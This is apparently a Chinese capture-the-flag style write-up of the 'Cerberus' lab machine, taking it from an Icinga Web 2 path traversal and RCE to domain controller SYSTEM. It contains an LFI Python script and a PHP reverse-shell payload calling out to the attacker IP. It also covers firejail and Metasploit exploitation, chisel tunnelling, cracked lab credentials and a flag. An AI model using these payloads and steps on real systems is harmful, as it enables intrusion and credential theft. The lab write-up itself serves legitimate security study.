一、思路概括
1.信息搜集发现8080端口的服务,前端存在lfi,登录后存在rce2.sudo -l 发现firejail ,提权成root3.翻文件发现了一串hash,john成功爆破解密4.arp 信息发现域控ip,端口扫描发现5985端口5.使用解密后的hash登录域控成功6.在域控建立socks代理,转发端口,发现9521存在rce7.msf打通exp,拿到域控system
二、信息搜集
使用nmap扫描结果
使用curl -vvv 详细输出,找到域名,绑定host
└─# echo "10.10.11.205 icinga.cerberus.local" >> /etc/hosts
三、前端lfi漏洞
在网站的url中看见了icingaweb2 ,找到了这个框架有个文件包含漏洞
CVE-2022-24716 https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/
为了利用这个漏洞,写个python脚本。
import requests
from colorama import Fore, Style
def lfi(path):
try:
#cookies
url =f"http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty{path}"
req = requests.get(url)
if(req.status_code == 200):
print(Fore.GREEN + f"{req.text}" + Style.RESET_ALL)
else:
print(Fore.RED + f"{path} not found." + Style.RESET_ALL)
except Exception as e:
print(Fore.RED + f"LFI Error : {e}" + Style.RESET_ALL)
def main():
while True:
path = input(Fore.BLUE + "[+] file >> " + Style.RESET_ALL)
lfi(path)
if __name__ == "__main__":
main()
读取一下/etc/icingaweb2/roles.ini和/etc/icingaweb2/resources.ini
四、登录后存在RCE
使用账号密码登录后台
username = "matthew"
password = "IcingaWebPassword2023"
这里有个远程执行代码的exploit(CVE-2022-24715)(https://github.com/JacobEbben/CVE-2022-24715)
首先创建一个密钥
ssh-keygen -t rsa -m PEM
现在,首先在icingaweb2里面创建一个新的ssh资源,路径是Configuration -> Application -> Resources -> Create a New Resource -> Resource Type: SSH Identity
接下来,使用curl进行验证用户是否存在
curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/ssh/0le
看来验证成功,看到最后是我刚刚新建的用户名,现在知道了他的运行流程,接下来进行注入shell,操作跟新建用户一样,但是会新增一些命令首先设置Configuration -> Application -里面的General更改modules path
然后去到Configuration -> Access Control里面的User创建一个用户
创建完成后,去到Configuration -> Application里面的Resource里面创建一个用户,填入正确的ssh私钥
成功创建之后,再新建一个resource。内容如下
Resource Name : run.php
User :../../../../../dev/shm/run.php
Private Key :file:///etc/icingaweb2/ssh/0le%00 <?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.5/4444 0>&1'");
然后使用burp修改请求,修改payload,要把%2500改成%00
点validate configuration ,即可反弹shell。
上面是我们手动进行操作,接下来使用python脚本写出exp
https://github.com/JacobEbben/CVE-2022-24715
git clone https://github.com/JacobEbben/CVE-2022-24715
cd CVE-2022-24715
ssh-keygen -t rsa -m PEM
python exploit.py -t http://icinga.cerberus.local:8080/icingaweb2/ -I 10.10.14.4 -P 4455 -u matthew -p IcingaWebPassword2023 -e id_rsa
exp脚本会自动反弹shell。这里有一个坑,如果你之前是手动进行了一遍反弹shell,那么/dev/shm/run.php 这个模块就已经存在并且激活了,这样的话跑exp是跑不动的,必须要重置环境在一个没有/dev/shm/run.php的环境中去跑脚本。
五、提权root
这里有几种提权的方法,第一种是利用CVE-2022-2588漏洞进行提权,该漏洞对于linux的内核版本exp(https://github.com/Markakd/CVE-2022-2588)
但是这个exp应该修复了,所以换一种提权root 的方法
第二种方法是利用docker容器里面的capabilities 权限,命令是capsh,利用capsh输出有哪些用户是可以提权,后面加--help是命令的帮助,具体可以参考这篇文章(https://blog.csdn.net/xlsj228/article/details/122834775)
首先是输入capsh --print ,输出docker里面已有capabilities 权限的用户,然后输入unshare命令来克隆一个root用户,具体参考(https://juejin.cn/post/7070709770327425032)
capsh --print
unshare -Urm
已经成功提权,但是用户的性质是noground,没有组的,甚至无法进行root的文件夹,包括普通用户
现在是尝试第三种提权的方法:
find / -perm -u=s -type f 2>/dev/null
扫描到了一个/usr/bin/firejail,可以利用这个exp(CVE-2022-31214),可以参考这篇文章(https://www.openwall.com/lists/oss-security/2022/06/08/10),
firejail提权
先下载这个文件(https://seclists.org/oss-sec/2022/q2/att-188/firejoin_py.bin),然后将格式改成python,这个需要两个shell的窗口,上传后给+x权限,并用python得到更好的shell窗口
运行后下面会出现firejail --join=xxxx,这是插入了进程里面,然后在另外的shell窗口运行firejail --join=1463,运行后,直接输入su - ,直接提权root
现在已经拿到root权限了。但没看见flag的影子,我***
六、登录域控
经过搜索,在/var里面有个db文件夹,里面有五个ldb文件
strings 查看cache_cerberus.local.ldb 可以看到一串hash,使用john进行爆破得到密码:147258369
使用arp -a 发现域控机器
root@icinga:~# arp -a
arp -a
DC.cerberus.local (172.16.22.1) at 00:15:5d:5f:e8:00 [ether] on eth0
使用fscan 进行扫描,发现开放了5985端口。
使用chisel把端口转发出来。kali 开启服务端,靶机开启客户端
转发出来之后,再使用evil-winrm进行登录,成功拿到user的flag
66fc5407cee23c2ddfa3b6fee6d991fa
使用netstat -ano | findstr "LISTENING" 查看本地监听的端口
七、建立域控的socks代理
使用socks代理扫描端口
curl 10.10.14.4/chiselamd64.exe -o chisel.exe
.chisel.exe client 10.10.14.4:1111 R:socks
然后走本地127.0.0.1:1080 的socks5代理就可以访问域控的服务了。
访问172.16.22.1:8888端口会跳到 dc.cerberus.local
绑定到本地host
echo "127.0.0.1 dc.cerberus.local" > /etc/hosts
使用题目域名做域名登录进去,登录matthew用户
[email protected]
147258369
同理再绑定一下dc域名
登录进去后权限问题无法查看详细的信息,但是网址的参数那里给到了一个guid(后面会用到)
然后使用brupsuite对其进行拦截,发现了一个post的包。
进行urldecode -》 base64 -> beautify 得到
找到了一个issue url,之后进行msf的exp 需要用到. http://dc.cerberus.local/adfs/services/trust
八、提权域控system
接下来使用msf,通过web标题知道了这个web是ADSelfService Plus。search一下 有个rce的。接着尝试进行利用
设置参数
msfconsole
search ADSelfService
use 2
set guid 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set issuer_url http://dc.cerberus.local/adfs/services/trust
set rhosts 172.16.22.1
set lhost 10.10.14.4
set AutoCheck false
set ReverseAllowProxy true
set proxies socks5:127.0.0.1:1080
run
提权结束,拿到域控权限,
type c:UsersAdministratorDesktoproot.txt
感谢观看~
原文始发于微信公众号(靶机狂魔):靶机—— Cerberus
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论